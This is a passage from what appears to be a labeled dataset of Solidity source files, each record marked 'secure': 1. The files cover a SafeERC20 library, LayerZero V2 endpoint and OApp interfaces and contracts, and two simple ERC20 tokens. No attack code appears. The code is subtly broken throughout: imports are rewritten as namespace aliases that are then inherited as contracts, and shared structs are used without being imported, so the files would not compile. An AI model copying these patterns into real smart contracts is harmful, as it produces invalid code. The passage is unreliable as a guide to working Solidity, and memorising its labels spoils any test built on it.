requestedDecrease\n ) internal {\n unchecked {\n uint256 currentAllowance = token.allowance(address(this), spender);\n\n if (currentAllowance < requestedDecrease) {\n revert SafeERC20FailedDecreaseAllowance(\n spender,\n currentAllowance,\n requestedDecrease\n );\n }\n\n forceApprove(token, spender, currentAllowance - requestedDecrease);\n }\n }\n\n function forceApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n bytes memory approvalCall = abi.encodeCall(\n token.approve,\n (spender, value)\n );\n\n if (!_callOptionalReturnBool(token, approvalCall)) {\n _callOptionalReturn(\n token,\n abi.encodeCall(token.approve, (spender, 0))\n );\n\n _callOptionalReturn(token, approvalCall);\n }\n }\n\n function transferAndCallRelaxed(\n IERC1363 token,\n address to,\n uint256 value,\n bytes memory data\n ) internal {\n if (to.code.length == 0) {\n safeTransfer(token, to, value);\n } else if (!token.transferAndCall(to, value, data)) {\n revert SafeERC20FailedOperation(address(token));\n }\n }\n\n function transferFromAndCallRelaxed(\n IERC1363 token,\n address from,\n address to,\n uint256 value,\n bytes memory data\n ) internal {\n if (to.code.length == 0) {\n safeTransferFrom(token, from, to, value);\n } else if (!token.transferFromAndCall(from, to, value, data)) {\n revert SafeERC20FailedOperation(address(token));\n }\n }\n\n function approveAndCallRelaxed(\n IERC1363 token,\n address to,\n uint256 value,\n bytes memory data\n ) internal {\n if (to.code.length == 0) {\n forceApprove(token, to, value);\n } else if (!token.approveAndCall(to, value, data)) {\n revert SafeERC20FailedOperation(address(token));\n }\n }\n\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n uint256 returnSize;\n\n uint256 returnValue;\n\n assembly (\"memory-safe\") {\n let success := call(\n gas(),\n token,\n 0,\n add(data, 0x20),\n mload(data),\n 0,\n 0x20\n )\n\n if iszero(success) {\n let ptr := mload(0x40)\n\n returndatacopy(ptr, 0, returndatasize())\n\n revert(ptr, returndatasize())\n }\n\n returnSize := returndatasize()\n\n returnValue := mload(0)\n }\n\n if (\n returnSize == 0 ? address(token).code.length == 0 : returnValue != 1\n ) {\n revert SafeERC20FailedOperation(address(token));\n }\n }\n\n function _callOptionalReturnBool(\n IERC20 token,\n bytes memory data\n ) private returns (bool) {\n bool success;\n\n uint256 returnSize;\n\n uint256 returnValue;\n\n assembly (\"memory-safe\") {\n success := call(\n gas(),\n token,\n 0,\n add(data, 0x20),\n mload(data),\n 0,\n 0x20\n )\n\n returnSize := returndatasize()\n\n returnValue := mload(0)\n }\n\n return\n success &&\n (\n returnSize == 0\n ? address(token).code.length > 0\n : returnValue == 1\n );\n }\n}\n\nstruct SetConfigParam {\n uint32 eid;\n uint32 configType;\n bytes config;\n}", "file_name": "solidity_code_940.sol", "secure": 1, "size_bytes": 5203 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IMessageLibManager {\n struct Timeout {\n address lib;\n uint256 expiry;\n }\n\n event LibraryRegistered(address newLib);\n\n event DefaultSendLibrarySet(uint32 eid, address newLib);\n\n event DefaultReceiveLibrarySet(uint32 eid, address newLib);\n\n event DefaultReceiveLibraryTimeoutSet(\n uint32 eid,\n address oldLib,\n uint256 expiry\n );\n\n event SendLibrarySet(address sender, uint32 eid, address newLib);\n\n event ReceiveLibrarySet(address receiver, uint32 eid, address newLib);\n\n event ReceiveLibraryTimeoutSet(\n address receiver,\n uint32 eid,\n address oldLib,\n uint256 timeout\n );\n\n function registerLibrary(address _lib) external;\n\n function isRegisteredLibrary(address _lib) external view returns (bool);\n\n function getRegisteredLibraries() external view returns (address[] memory);\n\n function setDefaultSendLibrary(uint32 _eid, address _newLib) external;\n\n function defaultSendLibrary(uint32 _eid) external view returns (address);\n\n function setDefaultReceiveLibrary(\n uint32 _eid,\n address _newLib,\n uint256 _gracePeriod\n ) external;\n\n function defaultReceiveLibrary(uint32 _eid) external view returns (address);\n\n function setDefaultReceiveLibraryTimeout(\n uint32 _eid,\n address _lib,\n uint256 _expiry\n ) external;\n\n function defaultReceiveLibraryTimeout(\n uint32 _eid\n ) external view returns (address lib, uint256 expiry);\n\n function isSupportedEid(uint32 _eid) external view returns (bool);\n\n function isValidReceiveLibrary(\n address _receiver,\n uint32 _eid,\n address _lib\n ) external view returns (bool);\n\n function setSendLibrary(\n address _oapp,\n uint32 _eid,\n address _newLib\n ) external;\n\n function getSendLibrary(\n address _sender,\n uint32 _eid\n ) external view returns (address lib);\n\n function isDefaultSendLibrary(\n address _sender,\n uint32 _eid\n ) external view returns (bool);\n\n function setReceiveLibrary(\n address _oapp,\n uint32 _eid,\n address _newLib,\n uint256 _gracePeriod\n ) external;\n\n function getReceiveLibrary(\n address _receiver,\n uint32 _eid\n ) external view returns (address lib, bool isDefault);\n\n function setReceiveLibraryTimeout(\n address _oapp,\n uint32 _eid,\n address _lib,\n uint256 _expiry\n ) external;\n\n function receiveLibraryTimeout(\n address _receiver,\n uint32 _eid\n ) external view returns (address lib, uint256 expiry);\n\n function setConfig(\n address _oapp,\n address _lib,\n SetConfigParam[] calldata _params\n ) external;\n\n function getConfig(\n address _oapp,\n address _lib,\n uint32 _eid,\n uint32 _configType\n ) external view returns (bytes memory config);\n}", "file_name": "solidity_code_941.sol", "secure": 1, "size_bytes": 3134 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IMessagingComposer {\n event ComposeSent(\n address from,\n address to,\n bytes32 guid,\n uint16 index,\n bytes message\n );\n\n event ComposeDelivered(\n address from,\n address to,\n bytes32 guid,\n uint16 index\n );\n\n event LzComposeAlert(\n address indexed from,\n address indexed to,\n address indexed executor,\n bytes32 guid,\n uint16 index,\n uint256 gas,\n uint256 value,\n bytes message,\n bytes extraData,\n bytes reason\n );\n\n function composeQueue(\n address _from,\n address _to,\n bytes32 _guid,\n uint16 _index\n ) external view returns (bytes32 messageHash);\n\n function sendCompose(\n address _to,\n bytes32 _guid,\n uint16 _index,\n bytes calldata _message\n ) external;\n\n function lzCompose(\n address _from,\n address _to,\n bytes32 _guid,\n uint16 _index,\n bytes calldata _message,\n bytes calldata _extraData\n ) external payable;\n}", "file_name": "solidity_code_942.sol", "secure": 1, "size_bytes": 1209 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IMessagingChannel {\n event InboundNonceSkipped(\n uint32 srcEid,\n bytes32 sender,\n address receiver,\n uint64 nonce\n );\n\n event PacketNilified(\n uint32 srcEid,\n bytes32 sender,\n address receiver,\n uint64 nonce,\n bytes32 payloadHash\n );\n\n event PacketBurnt(\n uint32 srcEid,\n bytes32 sender,\n address receiver,\n uint64 nonce,\n bytes32 payloadHash\n );\n\n function eid() external view returns (uint32);\n\n function skip(\n address _oapp,\n uint32 _srcEid,\n bytes32 _sender,\n uint64 _nonce\n ) external;\n\n function nilify(\n address _oapp,\n uint32 _srcEid,\n bytes32 _sender,\n uint64 _nonce,\n bytes32 _payloadHash\n ) external;\n\n function burn(\n address _oapp,\n uint32 _srcEid,\n bytes32 _sender,\n uint64 _nonce,\n bytes32 _payloadHash\n ) external;\n\n function nextGuid(\n address _sender,\n uint32 _dstEid,\n bytes32 _receiver\n ) external view returns (bytes32);\n\n function inboundNonce(\n address _receiver,\n uint32 _srcEid,\n bytes32 _sender\n ) external view returns (uint64);\n\n function outboundNonce(\n address _sender,\n uint32 _dstEid,\n bytes32 _receiver\n ) external view returns (uint64);\n\n function inboundPayloadHash(\n address _receiver,\n uint32 _srcEid,\n bytes32 _sender,\n uint64 _nonce\n ) external view returns (bytes32);\n\n function lazyInboundNonce(\n address _receiver,\n uint32 _srcEid,\n bytes32 _sender\n ) external view returns (uint64);\n}", "file_name": "solidity_code_943.sol", "secure": 1, "size_bytes": 1862 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IMessagingContext {\n function isSendingMessage() external view returns (bool);\n\n function getSendContext()\n external\n view\n returns (uint32 dstEid, address sender);\n}\n\nstruct MessagingParams {\n uint32 dstEid;\n bytes32 receiver;\n bytes message;\n bytes options;\n bool payInLzToken;\n}\n\nstruct MessagingReceipt {\n bytes32 guid;\n uint64 nonce;\n MessagingFee fee;\n}\n\nstruct MessagingFee {\n uint256 nativeFee;\n uint256 lzTokenFee;\n}\n\nstruct Origin {\n uint32 srcEid;\n bytes32 sender;\n uint64 nonce;\n}", "file_name": "solidity_code_944.sol", "secure": 1, "size_bytes": 668 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IMessageLibManager.sol\" as IMessageLibManager;\nimport \"./IMessagingComposer.sol\" as IMessagingComposer;\nimport \"./IMessagingChannel.sol\" as IMessagingChannel;\nimport \"./IMessagingContext.sol\" as IMessagingContext;\n\ninterface ILayerZeroEndpointV2 is\n IMessageLibManager,\n IMessagingComposer,\n IMessagingChannel,\n IMessagingContext\n{\n event PacketSent(bytes encodedPayload, bytes options, address sendLibrary);\n\n event PacketVerified(Origin origin, address receiver, bytes32 payloadHash);\n\n event PacketDelivered(Origin origin, address receiver);\n\n event LzReceiveAlert(\n address indexed receiver,\n address indexed executor,\n Origin origin,\n bytes32 guid,\n uint256 gas,\n uint256 value,\n bytes message,\n bytes extraData,\n bytes reason\n );\n\n event LzTokenSet(address token);\n\n event DelegateSet(address sender, address delegate);\n\n function quote(\n MessagingParams calldata _params,\n address _sender\n ) external view returns (MessagingFee memory);\n\n function send(\n MessagingParams calldata _params,\n address _refundAddress\n ) external payable returns (MessagingReceipt memory);\n\n function verify(\n Origin calldata _origin,\n address _receiver,\n bytes32 _payloadHash\n ) external;\n\n function verifiable(\n Origin calldata _origin,\n address _receiver\n ) external view returns (bool);\n\n function initializable(\n Origin calldata _origin,\n address _receiver\n ) external view returns (bool);\n\n function lzReceive(\n Origin calldata _origin,\n address _receiver,\n bytes32 _guid,\n bytes calldata _message,\n bytes calldata _extraData\n ) external payable;\n\n function clear(\n address _oapp,\n Origin calldata _origin,\n bytes32 _guid,\n bytes calldata _message\n ) external;\n\n function setLzToken(address _lzToken) external;\n\n function lzToken() external view returns (address);\n\n function nativeToken() external view returns (address);\n\n function setDelegate(address _delegate) external;\n}", "file_name": "solidity_code_945.sol", "secure": 1, "size_bytes": 2316 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ILayerZeroEndpointV2.sol\" as ILayerZeroEndpointV2;\n\ninterface IOAppCore {\n error OnlyPeer(uint32 eid, bytes32 sender);\n\n error NoPeer(uint32 eid);\n\n error InvalidEndpointCall();\n\n error InvalidDelegate();\n\n event PeerSet(uint32 eid, bytes32 peer);\n\n function oAppVersion()\n external\n view\n returns (uint64 senderVersion, uint64 receiverVersion);\n\n function endpoint() external view returns (ILayerZeroEndpointV2 iEndpoint);\n\n function peers(uint32 _eid) external view returns (bytes32 peer);\n\n function setPeer(uint32 _eid, bytes32 _peer) external;\n\n function setDelegate(address _delegate) external;\n}", "file_name": "solidity_code_946.sol", "secure": 1, "size_bytes": 756 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IOAppCore.sol\" as IOAppCore;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./ILayerZeroEndpointV2.sol\" as ILayerZeroEndpointV2;\n\nabstract contract OAppCore is IOAppCore, Ownable {\n ILayerZeroEndpointV2 public immutable endpoint;\n\n mapping(uint32 eid => bytes32 peer) public peers;\n\n constructor(address _endpoint, address _delegate) {\n endpoint = ILayerZeroEndpointV2(_endpoint);\n\n if (_delegate == address(0)) revert InvalidDelegate();\n\n endpoint.setDelegate(_delegate);\n }\n\n function setPeer(uint32 _eid, bytes32 _peer) public virtual onlyOwner {\n _setPeer(_eid, _peer);\n }\n\n function _setPeer(uint32 _eid, bytes32 _peer) internal virtual {\n peers[_eid] = _peer;\n\n emit PeerSet(_eid, _peer);\n }\n\n function _getPeerOrRevert(\n uint32 _eid\n ) internal view virtual returns (bytes32) {\n bytes32 peer = peers[_eid];\n\n if (peer == bytes32(0)) revert NoPeer(_eid);\n\n return peer;\n }\n\n function setDelegate(address _delegate) public onlyOwner {\n endpoint.setDelegate(_delegate);\n }\n}", "file_name": "solidity_code_947.sol", "secure": 1, "size_bytes": 1237 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./OAppCore.sol\" as OAppCore;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\n\nabstract contract OAppSender is OAppCore {\n using SafeERC20 for IERC20;\n\n error NotEnoughNative(uint256 msgValue);\n\n error LzTokenUnavailable();\n\n uint64 internal constant SENDER_VERSION = 1;\n\n function oAppVersion()\n public\n view\n virtual\n returns (uint64 senderVersion, uint64 receiverVersion)\n {\n return (SENDER_VERSION, 0);\n }\n\n function _quote(\n uint32 _dstEid,\n bytes memory _message,\n bytes memory _options,\n bool _payInLzToken\n ) internal view virtual returns (MessagingFee memory fee) {\n return\n endpoint.quote(\n MessagingParams(\n _dstEid,\n _getPeerOrRevert(_dstEid),\n _message,\n _options,\n _payInLzToken\n ),\n address(this)\n );\n }\n\n function _lzSend(\n uint32 _dstEid,\n bytes memory _message,\n bytes memory _options,\n MessagingFee memory _fee,\n address _refundAddress\n ) internal virtual returns (MessagingReceipt memory receipt) {\n uint256 messageValue = _payNative(_fee.nativeFee);\n\n if (_fee.lzTokenFee > 0) _payLzToken(_fee.lzTokenFee);\n\n\t\t// reentrancy-events | ID: a919500\n return\n endpoint.send{value: messageValue}(\n MessagingParams(\n _dstEid,\n _getPeerOrRevert(_dstEid),\n _message,\n _options,\n _fee.lzTokenFee > 0\n ),\n _refundAddress\n );\n }\n\n function _payNative(\n uint256 _nativeFee\n ) internal virtual returns (uint256 nativeFee) {\n if (msg.value != _nativeFee) revert NotEnoughNative(msg.value);\n\n return _nativeFee;\n }\n\n function _payLzToken(uint256 _lzTokenFee) internal virtual {\n address lzToken = endpoint.lzToken();\n\n if (lzToken == address(0)) revert LzTokenUnavailable();\n\n IERC20(lzToken).safeTransferFrom(\n msg.sender,\n address(endpoint),\n _lzTokenFee\n );\n }\n}", "file_name": "solidity_code_948.sol", "secure": 1, "size_bytes": 2512 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface ILayerZeroReceiver {\n function allowInitializePath(\n Origin calldata _origin\n ) external view returns (bool);\n\n function nextNonce(\n uint32 _eid,\n bytes32 _sender\n ) external view returns (uint64);\n\n function lzReceive(\n Origin calldata _origin,\n bytes32 _guid,\n bytes calldata _message,\n address _executor,\n bytes calldata _extraData\n ) external payable;\n}", "file_name": "solidity_code_949.sol", "secure": 1, "size_bytes": 526 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Detailed.sol\" as ERC20Detailed;\nimport \"./ServicePayer.sol\" as ServicePayer;\n\ncontract StandardERC20 is ERC20Detailed, ServicePayer {\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 initialBalance_,\n bytes memory signature_,\n address payable feeReceiver_\n )\n payable\n ERC20Detailed(name_, symbol_, decimals_)\n ServicePayer(feeReceiver_, \"StandardERC20\", signature_, _msgSender())\n {\n require(initialBalance_ > 0, \"Initial supply cannot be zero\");\n\n _mint(_msgSender(), initialBalance_);\n }\n}", "file_name": "solidity_code_95.sol", "secure": 1, "size_bytes": 761 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ILayerZeroReceiver.sol\" as ILayerZeroReceiver;\n\ninterface IOAppReceiver is ILayerZeroReceiver {\n function isComposeMsgSender(\n Origin calldata _origin,\n bytes calldata _message,\n address _sender\n ) external view returns (bool isSender);\n}", "file_name": "solidity_code_950.sol", "secure": 1, "size_bytes": 351 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IOAppReceiver.sol\" as IOAppReceiver;\nimport \"./OAppCore.sol\" as OAppCore;\n\nabstract contract OAppReceiver is IOAppReceiver, OAppCore {\n error OnlyEndpoint(address addr);\n\n uint64 internal constant RECEIVER_VERSION = 2;\n\n function oAppVersion()\n public\n view\n virtual\n returns (uint64 senderVersion, uint64 receiverVersion)\n {\n return (0, RECEIVER_VERSION);\n }\n\n function isComposeMsgSender(\n Origin calldata,\n bytes calldata,\n address _sender\n ) public view virtual returns (bool) {\n return _sender == address(this);\n }\n\n function allowInitializePath(\n Origin calldata origin\n ) public view virtual returns (bool) {\n return peers[origin.srcEid] == origin.sender;\n }\n\n function nextNonce(\n uint32,\n bytes32\n ) public view virtual returns (uint64 nonce) {\n return 0;\n }\n\n function lzReceive(\n Origin calldata _origin,\n bytes32 _guid,\n bytes calldata _message,\n address _executor,\n bytes calldata _extraData\n ) public payable virtual {\n if (address(endpoint) != msg.sender) revert OnlyEndpoint(msg.sender);\n\n if (_getPeerOrRevert(_origin.srcEid) != _origin.sender)\n revert OnlyPeer(_origin.srcEid, _origin.sender);\n\n _lzReceive(_origin, _guid, _message, _executor, _extraData);\n }\n\n function _lzReceive(\n Origin calldata _origin,\n bytes32 _guid,\n bytes calldata _message,\n address _executor,\n bytes calldata _extraData\n ) internal virtual;\n}", "file_name": "solidity_code_951.sol", "secure": 1, "size_bytes": 1733 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./OAppSender.sol\" as OAppSender;\nimport \"./OAppReceiver.sol\" as OAppReceiver;\nimport \"./OAppCore.sol\" as OAppCore;\n\nabstract contract OApp is OAppSender, OAppReceiver {\n constructor(\n address _endpoint,\n address _delegate\n ) OAppCore(_endpoint, _delegate) {}\n\n function oAppVersion()\n public\n pure\n virtual\n override(OAppSender, OAppReceiver)\n returns (uint64 senderVersion, uint64 receiverVersion)\n {\n return (SENDER_VERSION, RECEIVER_VERSION);\n }\n}\n\nstruct EnforcedOptionParam {\n uint32 eid;\n uint16 msgType;\n bytes options;\n}", "file_name": "solidity_code_952.sol", "secure": 1, "size_bytes": 709 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IOAppOptionsType3 {\n error InvalidOptions(bytes options);\n\n event EnforcedOptionSet(EnforcedOptionParam[] _enforcedOptions);\n\n function setEnforcedOptions(\n EnforcedOptionParam[] calldata _enforcedOptions\n ) external;\n\n function combineOptions(\n uint32 _eid,\n uint16 _msgType,\n bytes calldata _extraOptions\n ) external view returns (bytes memory options);\n}", "file_name": "solidity_code_953.sol", "secure": 1, "size_bytes": 495 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IOAppOptionsType3.sol\" as IOAppOptionsType3;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\nabstract contract OAppOptionsType3 is IOAppOptionsType3, Ownable {\n uint16 internal constant OPTION_TYPE_3 = 3;\n\n mapping(uint32 eid => mapping(uint16 msgType => bytes enforcedOption))\n public enforcedOptions;\n\n function setEnforcedOptions(\n EnforcedOptionParam[] calldata _enforcedOptions\n ) public virtual onlyOwner {\n _setEnforcedOptions(_enforcedOptions);\n }\n\n function _setEnforcedOptions(\n EnforcedOptionParam[] memory _enforcedOptions\n ) internal virtual {\n for (uint256 i = 0; i < _enforcedOptions.length; i++) {\n _assertOptionsType3(_enforcedOptions[i].options);\n\n enforcedOptions[_enforcedOptions[i].eid][\n _enforcedOptions[i].msgType\n ] = _enforcedOptions[i].options;\n }\n\n emit EnforcedOptionSet(_enforcedOptions);\n }\n\n function combineOptions(\n uint32 _eid,\n uint16 _msgType,\n bytes calldata _extraOptions\n ) public view virtual returns (bytes memory) {\n bytes memory enforced = enforcedOptions[_eid][_msgType];\n\n if (enforced.length == 0) return _extraOptions;\n\n if (_extraOptions.length == 0) return enforced;\n\n if (_extraOptions.length >= 2) {\n _assertOptionsType3(_extraOptions);\n\n return bytes.concat(enforced, _extraOptions[2:]);\n }\n\n revert InvalidOptions(_extraOptions);\n }\n\n function _assertOptionsType3(bytes memory _options) internal pure virtual {\n uint16 optionsType;\n\n assembly {\n optionsType := mload(add(_options, 2))\n }\n\n if (optionsType != OPTION_TYPE_3) revert InvalidOptions(_options);\n }\n}", "file_name": "solidity_code_954.sol", "secure": 1, "size_bytes": 1928 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IOAppMsgInspector {\n error InspectionFailed(bytes message, bytes options);\n\n function inspect(\n bytes calldata _message,\n bytes calldata _options\n ) external view returns (bool valid);\n}\n\nstruct PreCrimePeer {\n uint32 eid;\n bytes32 preCrime;\n bytes32 oApp;\n}", "file_name": "solidity_code_955.sol", "secure": 1, "size_bytes": 381 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IPreCrime {\n error OnlyOffChain();\n\n error PacketOversize(uint256 max, uint256 actual);\n\n error PacketUnsorted();\n\n error SimulationFailed(bytes reason);\n\n error SimulationResultNotFound(uint32 eid);\n\n error InvalidSimulationResult(uint32 eid, bytes reason);\n\n error CrimeFound(bytes crime);\n\n function getConfig(\n bytes[] calldata _packets,\n uint256[] calldata _packetMsgValues\n ) external returns (bytes memory);\n\n function simulate(\n bytes[] calldata _packets,\n uint256[] calldata _packetMsgValues\n ) external payable returns (bytes memory);\n\n function buildSimulationResult() external view returns (bytes memory);\n\n function preCrime(\n bytes[] calldata _packets,\n uint256[] calldata _packetMsgValues,\n bytes[] calldata _simulations\n ) external;\n\n function version() external view returns (uint64 major, uint8 minor);\n}\n\nenum MessageLibType {\n Send,\n Receive,\n SendAndReceive\n}", "file_name": "solidity_code_956.sol", "secure": 1, "size_bytes": 1101 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\" as IERC165;\n\ninterface IMessageLib is IERC165 {\n function setConfig(\n address _oapp,\n SetConfigParam[] calldata _config\n ) external;\n\n function getConfig(\n uint32 _eid,\n address _oapp,\n uint32 _configType\n ) external view returns (bytes memory config);\n\n function isSupportedEid(uint32 _eid) external view returns (bool);\n\n function version()\n external\n view\n returns (uint64 major, uint8 minor, uint8 endpointVersion);\n\n function messageLibType() external view returns (MessageLibType);\n}\n\nstruct Packet {\n uint64 nonce;\n uint32 srcEid;\n address sender;\n uint32 dstEid;\n bytes32 receiver;\n bytes32 guid;\n bytes message;\n}", "file_name": "solidity_code_957.sol", "secure": 1, "size_bytes": 876 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IMessageLib.sol\" as IMessageLib;\n\ninterface ISendLib is IMessageLib {\n function send(\n Packet calldata _packet,\n bytes calldata _options,\n bool _payInLzToken\n ) external returns (MessagingFee memory, bytes memory encodedPacket);\n\n function quote(\n Packet calldata _packet,\n bytes calldata _options,\n bool _payInLzToken\n ) external view returns (MessagingFee memory);\n\n function setTreasury(address _treasury) external;\n\n function withdrawFee(address _to, uint256 _amount) external;\n\n function withdrawLzTokenFee(\n address _lzToken,\n address _to,\n uint256 _amount\n ) external;\n}", "file_name": "solidity_code_958.sol", "secure": 1, "size_bytes": 766 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nlibrary AddressCast {\n error AddressCast_InvalidSizeForAddress();\n\n error AddressCast_InvalidAddress();\n\n function toBytes32(\n bytes calldata _addressBytes\n ) internal pure returns (bytes32 result) {\n if (_addressBytes.length > 32) revert AddressCast_InvalidAddress();\n\n result = bytes32(_addressBytes);\n\n unchecked {\n uint256 offset = 32 - _addressBytes.length;\n\n result = result >> (offset * 8);\n }\n }\n\n function toBytes32(\n address _address\n ) internal pure returns (bytes32 result) {\n result = bytes32(uint256(uint160(_address)));\n }\n\n function toBytes(\n bytes32 _addressBytes32,\n uint256 _size\n ) internal pure returns (bytes memory result) {\n if (_size == 0 || _size > 32)\n revert AddressCast_InvalidSizeForAddress();\n\n result = new bytes(_size);\n\n unchecked {\n uint256 offset = 256 - _size * 8;\n\n assembly {\n mstore(add(result, 32), shl(offset, _addressBytes32))\n }\n }\n }\n\n function toAddress(\n bytes32 _addressBytes32\n ) internal pure returns (address result) {\n result = address(uint160(uint256(_addressBytes32)));\n }\n\n function toAddress(\n bytes calldata _addressBytes\n ) internal pure returns (address result) {\n if (_addressBytes.length != 20) revert AddressCast_InvalidAddress();\n\n result = address(bytes20(_addressBytes));\n }\n}", "file_name": "solidity_code_959.sol", "secure": 1, "size_bytes": 1623 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract StriveCoin is Context, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private constant _decimals = 18;\n\n uint256 public constant Supply = 3_000_000_000 * (10 ** _decimals);\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n\n _mint(0xFA880b4A88Cc5571B3890D336c53e70F2bC07Ef7, Supply);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address from,\n address to\n ) public view virtual override returns (uint256) {\n return _allowances[from][to];\n }\n\n function approve(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), to, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address to,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address to,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][to];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), to, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(amount > 0, \"ERC20: transfer amount zero\");\n\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function burn(uint256 amount) external {\n _burn(_msgSender(), amount);\n }\n\n function _approve(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: approve from the zero address\");\n\n require(to != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[from][to] = amount;\n\n emit Approval(from, to, amount);\n }\n}", "file_name": "solidity_code_96.sol", "secure": 1, "size_bytes": 5258 }
